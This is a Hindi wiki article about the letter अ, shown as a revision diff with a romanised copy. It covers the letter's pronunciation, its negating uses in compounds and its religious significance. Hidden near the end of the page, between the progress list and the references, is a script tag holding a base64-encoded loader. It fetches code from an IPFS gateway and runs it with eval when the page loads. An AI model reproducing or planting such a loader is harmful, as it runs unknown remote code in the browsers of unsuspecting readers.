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'''अ''' [[संस्कृत]] तथा [[भारत]] की समस्त प्रादेशिक भाषाओं की [[वर्णमाला (व्याकरण)|वर्णमाला]] का प्रथम [[अक्षर]] है। इब्राली भाषा का अलेफ्‌, यूनानी का अल्फा और लातिनी, इतालीय तथा [[अंग्रेज़ी]] का ए इसके समकक्ष हैं। [[पाणिनी]] के अनुसार इसका उच्चारण कंठ से होता है। उच्चारण के अनुसार संस्कृत में इसके अठारह भेद हैं:-
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'''अ''' [[संस्कृत]] तथा [[भारत]] की समस्त प्रादेशिक भाषाओं की [[वर्णमाला (व्याकरण)|वर्णमाला]] का प्रथम [[अक्षर]] है। इब्राली भाषा का अलेफ्‌, यूनानी का अल्फा और लातिनी, इतालीय तथा [[अंग्रेज़ी]] का ए इसके समकक्ष हैं।  
 
+
==उच्चारण==
<poem>
+
[[पाणिनी]] के अनुसार इसका उच्चारण कंठ से होता है। उच्चारण के अनुसार संस्कृत में इसके अठारह भेद हैं:-
सानुनासिक ह्रस्व उदात्त अनुदात्त स्वरित
+
{|
दीर्घ उदात्त अनुदात्त स्वरित
+
|-
प्लुत उदात्त अनुदात्त स्वरित
+
|
निरनुनासिक ह्रस्व उदात्त अनुदात्त स्वरित
+
{| class="bharattable-pink"
दीर्घ उदात्त अनुदात्त स्वरित
+
|+'''सानुनासिक'''
प्लुत उदात्त अनुदात्त स्वरित
+
| ह्रस्व  
</poem>
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| उदात्त  
 
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| अनुदात्त  
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| स्वरित
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| दीर्घ
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| उदात्त
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| अनुदात्त
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| स्वरित
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| उदात्त  
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| अनुदात्त
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| स्वरित
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{| class="bharattable-green"
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|+'''निरनुनासिक'''
 +
| ह्रस्व  
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| उदात्त  
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| अनुदात्त  
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| स्वरित
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| दीर्घ
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| उदात्त
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| अनुदात्त
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| प्लुत  
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| उदात्त  
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[[हिंदी]] तथा अन्य भारतीय भाषाओं में अ के प्राय दो ही उच्चारण ह्रस्व तथा दीर्घ होते हैं। केवल पर्वतीय प्रदेशों में, जहाँ दूर से लोगों को बुलाना या संबोधन करना होता है, प्लुत का प्रयोग होता है। इन उच्चारणों को क्रमश अ, अ<sup>2</sup> और अ<sup>3</sup> से व्यक्त किया जा सकता है। दीर्घ करने के लिए अ के आगे एक खड़ी रेखा जोड़ देते हैं जिससे उसका आकार आ हो जाता है। संस्कृत तथा उससे संबद्ध सभी भाषाओं के व्यंजन में अ समाहित होता है और उसकी सहायता से ही उनका पूर्ण उच्चारण होता है। उदाहरण के लिए, क= क्‌+ अ; ख= ख्‌+ अ, आदि। वास्तव में सभी व्यंजनों को व्यक्त करने वाले अक्षरों की रचना में अ प्रस्तुत रहता है। अ का प्रतीक खड़ी रेखा । अथवा  ा है जो व्यंजन के दक्षिण, मध्य या ऊपरी भाग में वर्तमान रहती है, जैसे क ( क् + ा) में मध्य में है; ख ( ख् + ा) , ग( ग्+ ा) , घ ( घ्+ ा) में दक्षिण भाग में तथा ङ ( ङ्‌+ ा) , छ ( छ्‌+ ा) , ट( ट+) आदि में ऊपरी भाग में है।
 
[[हिंदी]] तथा अन्य भारतीय भाषाओं में अ के प्राय दो ही उच्चारण ह्रस्व तथा दीर्घ होते हैं। केवल पर्वतीय प्रदेशों में, जहाँ दूर से लोगों को बुलाना या संबोधन करना होता है, प्लुत का प्रयोग होता है। इन उच्चारणों को क्रमश अ, अ<sup>2</sup> और अ<sup>3</sup> से व्यक्त किया जा सकता है। दीर्घ करने के लिए अ के आगे एक खड़ी रेखा जोड़ देते हैं जिससे उसका आकार आ हो जाता है। संस्कृत तथा उससे संबद्ध सभी भाषाओं के व्यंजन में अ समाहित होता है और उसकी सहायता से ही उनका पूर्ण उच्चारण होता है। उदाहरण के लिए, क= क्‌+ अ; ख= ख्‌+ अ, आदि। वास्तव में सभी व्यंजनों को व्यक्त करने वाले अक्षरों की रचना में अ प्रस्तुत रहता है। अ का प्रतीक खड़ी रेखा । अथवा  ा है जो व्यंजन के दक्षिण, मध्य या ऊपरी भाग में वर्तमान रहती है, जैसे क ( क् + ा) में मध्य में है; ख ( ख् + ा) , ग( ग्+ ा) , घ ( घ्+ ा) में दक्षिण भाग में तथा ङ ( ङ्‌+ ा) , छ ( छ्‌+ ा) , ट( ट+) आदि में ऊपरी भाग में है।
अ स्वर की रचना के बारे में वर्णोद्धारतंत्र में उल्लेख है। एक मात्रा से हो रेखाएँ मिलती हैं। एक रेखा दक्षिण ओर से घूमकर ऊपर संकुचित हो जाती है; दूसरी बाईं ओर से आकर दाहिनी ओर होती हुई मात्रा से मिल जाती है। इसका आकार प्राय इस प्रकार संगठित हो सकता है।
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अ स्वर की रचना के बारे में वर्णोद्धारतंत्र में उल्लेख है। एक मात्रा से हो रेखाएँ मिलती हैं। एक रेखा दक्षिण ओर से घूमकर ऊपर संकुचित हो जाती है; दूसरी बाईं ओर से आकर दाहिनी ओर होती हुई मात्रा से मिल जाती है। इसका आकार प्राय इस प्रकार संगठित हो सकता है। चौथी शती ईसा पूर्व की [[ब्राह्मी लिपि|ब्राह्मी]] से लेकर नवीं शती ई. को [[देवनागरी लिपि|देवनागरी]] तक इसके कई रूप मिलते हैं।
 
 
चौथी शती ईसा पूर्व की [[ब्राह्मी लिपि|ब्राह्मी]] से लेकर नवीं शती ई. को [[देवनागरी लिपि|देवनागरी]] तक इसके निम्नांकित रूप मिलते हैं:-
 
 
 
3 शती ईसा पूर्व 1 श. प. 1-2 श.प. 2-3 श.प.
 
 
 
मौर्य शक आंध्र कुषण
 
 
 
2-3 श.प. 4 श.प. 6 श.प. 7-9 श.
 
 
 
जग्गयपेट आदिगुप्त उत्तर गुप्त मध्ययुग
 
  
अ का प्रयोग [[अव्ययीभाव समास|अव्यय]] के रूप में भी होता है। नञ् तत्पुरुष [[समास]] में नकार का लोप होकर केवल अकार रह जाता है; अऋणी को छोड़कर स्वर के पूर्व अ का अन्‌ हो जाता है। नञ् तत्पुरुष में अ का प्रयोग निम्नलिखित छह विभिन्न अर्थों में होता है
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==अ का प्रयोग==
 
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अ का प्रयोग [[अव्ययीभाव समास|अव्यय]] के रूप में भी होता है। नञ् तत्पुरुष [[समास]] में नकार का लोप होकर केवल अकार रह जाता है; अऋणी को छोड़कर स्वर के पूर्व अ का अन्‌ हो जाता है। नञ् तत्पुरुष में अ का प्रयोग निम्नलिखित छह विभिन्न अर्थों में होता है-
सादृश्य- अब्राह्मण। इसका अर्थ है ब्राह्मण को छोड़कर उसके सदृश दूसरा वर्ण, क्षत्रिय,
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# '''सादृश्य'''- अब्राह्मण। इसका अर्थ है ब्राह्मण को छोड़कर उसके सदृश दूसरा वर्ण, (क्षत्रिय, वैश्य आदि)।
 
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# '''अभाव'''- अपाप । पाप का अभाव।
वैश्य आदि।
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# '''अन्यत्व'''- अघट । घट छोड़कर दूसरा पदार्थ, पट, पीठ आदि।
 
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# '''अल्पता'''- अनुदरी । छोटे पेटवाली।
(2) अभाव- अपाप । पाप का अभाव।
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# '''अप्राशस्त्य'''- अकाल । बुरा काल, विपत्काल आदि।
 
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# '''विरोध'''- असुर । सुर का विरोधी, राक्षस आदि।
(3) अन्यत्व- अघट । घट छोड़कर दूसरा पदार्थ, पट, पीठ आदि।
 
 
 
(4) अल्पता- अनुदरी । छोटे पेटवाली।
 
 
 
(5) अप्राशस्त्य- अकाल । बुरा काल, विपत्काल आदि।
 
 
 
(6) विरोध- असुर । सुर का विरोधी, राक्षस आदि।
 
  
 
इसी तरह अ का प्रयोग संबोधन (अ! ), विस्मय (अ:), अधिक्षेप (तिरस्कार) आदि में होता है।
 
इसी तरह अ का प्रयोग संबोधन (अ! ), विस्मय (अ:), अधिक्षेप (तिरस्कार) आदि में होता है।
  
तत्सादृश्यमभावश्च तदन्यत्वं तदल्पता।
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<poem>तत्सादृश्यमभावश्च तदन्यत्वं तदल्पता।
 
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अप्राशस्त्यं विरोधश्च नर्ञ्थाषट् प्रकीर्तिता।।</poem>
अप्राशस्त्यं विरोधश्च नर्ञ्थाषट् प्रकीर्तिता।।
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==विशेष महत्त्व==
==धार्मिक महत्त्व==
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अ ([[पुल्लिंग]], [[संज्ञा (व्याकरण)|संज्ञा]]) अर्थ में [[विष्णु]] के लिए प्रयुक्त होता है। कहीं-कहीं आकार से [[ब्रह्मा]] का भी बोध होता है। तंत्रशास्त्र के अनुसार अ में ब्रह्मा, विष्णु और [[शिव]] तथा उनकी शक्तियाँ वर्तमान हैं। तंत्र में अ के पर्याय सृष्टि, श्रीकंठ, मेघ, कीर्ति, निवृत्ति, ब्रह्मा, वामाद्यज, सारस्वत, अमृत, हर, नरकाटि, ललाट, एकमात्रिक, कंठ ब्राह्मण, वागीश तथा प्रणवादि भी पाए जाते हैं। प्रणव के (अ+ उ+ म) तीन अक्षरों में अ प्रथम है। योग साधना में प्रणव ([[ओम|ओ३म्‌]]) और विशेषत उसके प्रथम अक्षर अ का विशेष महत्व है। चित्त एकाग्र करने के लिए पहले पूरे ओ३म्‌ का उच्चारण न कर उसके बीजाक्षर अ का ही जप किया जाता है। ऐसा विश्वास किया जाता है कि इसके जप से शरीर के भीतरी तत्व कफ, वायु, पित्त, रक्त तथा शुक्र शुद्ध हो जाते हैं और इससे समाधि की पूर्णावस्था की प्राप्ति होती है।<ref>{{cite web |url=http://khoj.bharatdiscovery.org/india/%E0%A4%85 |title=अ |accessmonthday=27 जनवरी |accessyear=2014 |last= |first= |authorlink= |format= |publisher=भारतखोज |language= हिंदी}}</ref>
अ (पु. सं.) अर्थ में [[विष्णु]] के लिए प्रयुक्त होता है। कहीं-कहीं अकार से [[ब्रह्मा]] का भी बोध होता है। तंत्रशास्त्र के अनुसार अ में ब्रह्मा, विष्णु और [[शिव]] तथा उनकी शक्तियाँ वर्तमान हैं। तंत्र में अ के पर्याय सृष्टि, श्रीकंठ, मेघ, कीर्ति, निवृत्ति, ब्रह्मा, वामाद्यज, सारस्वत, अमृत, हर, नरकाटि, ललाट, एकमात्रिक, कंठ ब्राह्मण, वागीश तथा प्रणवादि भी पाए जाते हैं। प्रणव के (अ+ उ+ म) तीन अक्षरों में अ प्रथम है। योग साधना में प्रणव ([[ओम|ओ३म्‌]]) और विशेषत उसके प्रथम अक्षर अ का विशेष महत्व है। चित्त एकाग्र करने के लिए पहले पूरे ओ३म्‌ का उच्चारण न कर उसके बीजाक्षर अ का ही जप किया जाता है। ऐसा विश्वास किया जाता है कि इसके जप से शरीर के भीतरी तत्व कफ, वायु, पित्त, रक्त तथा शुक्र शुद्ध हो जाते हैं और इससे समाधि की पूर्णावस्था की प्राप्ति होती है।<ref>{{cite web |url=http://khoj.bharatdiscovery.org/india/%E0%A4%85 |title=अ |accessmonthday=27 जनवरी |accessyear=2014 |last= |first= |authorlink= |format= |publisher=भारतखोज |language= हिंदी}}</ref>
 
  
  

Revision as of 14:06, 27 January 2014

a sanskrit tatha bharat ki samast pradeshik bhashaoan ki varnamala ka pratham akshar hai. ibrali bhasha ka alephh‌, yoonani ka alpha aur latini, italiy tatha aangrezi ka e isake samakaksh haian.

uchcharan

panini ke anusar isaka uchcharan kanth se hota hai. uchcharan ke anusar sanskrit mean isake atharah bhed haian:-

sanunasik
hrasv udatt anudatt svarit
dirgh udatt anudatt svarit
plut udatt anudatt svarit
niranunasik
hrasv udatt anudatt svarit
dirgh udatt anudatt svarit
plut udatt anudatt svarit

hiandi tatha any bharatiy bhashaoan mean a ke pray do hi uchcharan hrasv tatha dirgh hote haian. keval parvatiy pradeshoan mean, jahaan door se logoan ko bulana ya sanbodhan karana hota hai, plut ka prayog hota hai. in uchcharanoan ko kramash a, a2 aur a3 se vyakt kiya ja sakata hai. dirgh karane ke lie a ke age ek kh di rekha jo d dete haian jisase usaka akar a ho jata hai. sanskrit tatha usase sanbaddh sabhi bhashaoan ke vyanjan mean a samahit hota hai aur usaki sahayata se hi unaka poorn uchcharan hota hai. udaharan ke lie, k= kh‌+ a; kh= khh‌+ a, adi. vastav mean sabhi vyanjanoan ko vyakt karane vale aksharoan ki rachana mean a prastut rahata hai. a ka pratik kh di rekha . athava a hai jo vyanjan ke dakshin, madhy ya oopari bhag mean vartaman rahati hai, jaise k ( kh + a) mean madhy mean hai; kh ( khh + a) , g( gh+ a) , gh ( ghh+ a) mean dakshin bhag mean tatha n ( nh‌+ a) , chh ( chhh‌+ a) , t( t+) adi mean oopari bhag mean hai. a svar ki rachana ke bare mean varnoddharatantr mean ullekh hai. ek matra se ho rekhaean milati haian. ek rekha dakshin or se ghoomakar oopar sankuchit ho jati hai; doosari baeean or se akar dahini or hoti huee matra se mil jati hai. isaka akar pray is prakar sangathit ho sakata hai. chauthi shati eesa poorv ki brahmi se lekar navian shati ee. ko devanagari tak isake kee roop milate haian.

a ka prayog

a ka prayog avyay ke roop mean bhi hota hai. nanh tatpurush samas mean nakar ka lop hokar keval akar rah jata hai; arrini ko chho dakar svar ke poorv a ka anh‌ ho jata hai. nanh tatpurush mean a ka prayog nimnalikhit chhah vibhinn arthoan mean hota hai-

  1. sadrishy- abrahman. isaka arth hai brahman ko chho dakar usake sadrish doosara varn, (kshatriy, vaishy adi).
  2. abhav- apap . pap ka abhav.
  3. anyatv- aghat . ghat chho dakar doosara padarth, pat, pith adi.
  4. alpata- anudari . chhote petavali.
  5. aprashasty- akal . bura kal, vipatkal adi.
  6. virodh- asur . sur ka virodhi, rakshas adi.

isi tarah a ka prayog sanbodhan (a! ), vismay (a:), adhikshep (tiraskar) adi mean hota hai.

tatsadrishyamabhavashch tadanyatvan tadalpata.
aprashastyan virodhashch narnthashath prakirtita..

vishesh mahattv

a (pulliang, sanjna) arth mean vishnu ke lie prayukt hota hai. kahian-kahian akar se brahma ka bhi bodh hota hai. tantrashastr ke anusar a mean brahma, vishnu aur shiv tatha unaki shaktiyaan vartaman haian. tantr mean a ke paryay srishti, shrikanth, megh, kirti, nivritti, brahma, vamadyaj, sarasvat, amrit, har, narakati, lalat, ekamatrik, kanth brahman, vagish tatha pranavadi bhi pae jate haian. pranav ke (a+ u+ m) tin aksharoan mean a pratham hai. yog sadhana mean pranav (o3mh‌) aur visheshat usake pratham akshar a ka vishesh mahatv hai. chitt ekagr karane ke lie pahale poore o3mh‌ ka uchcharan n kar usake bijakshar a ka hi jap kiya jata hai. aisa vishvas kiya jata hai ki isake jap se sharir ke bhitari tatv kaph, vayu, pitt, rakt tatha shukr shuddh ho jate haian aur isase samadhi ki poornavastha ki prapti hoti hai.[1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. a (hiandi) bharatakhoj. abhigaman tithi: 27 janavari, 2014.

bahari k diyaan

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